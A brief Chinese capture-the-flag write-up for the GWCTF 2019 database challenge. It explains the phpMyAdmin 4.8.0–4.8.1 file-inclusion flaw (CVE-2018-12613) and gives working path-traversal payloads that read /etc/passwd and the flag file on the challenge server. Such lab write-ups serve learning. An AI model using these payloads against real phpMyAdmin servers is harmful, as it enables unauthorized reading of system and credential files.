GWCTF 2019]我有一個數據庫

0x00 知識點

phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞

影響版本：4.8.0——4.8.1

payload:/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../etc/passwd

官方wp:
/index.php?target=db_sql.php%253f/../../../../../../../../flag

解題：
http://242f8700-d6b8-4323-9254-335081c0e68e.node3.buuoj.cn/phpmyadmin/?target=db_datadict.php%3f/../../../../../../../../flag

因為感冒狀態太差了。。只能每天隨便學學了。。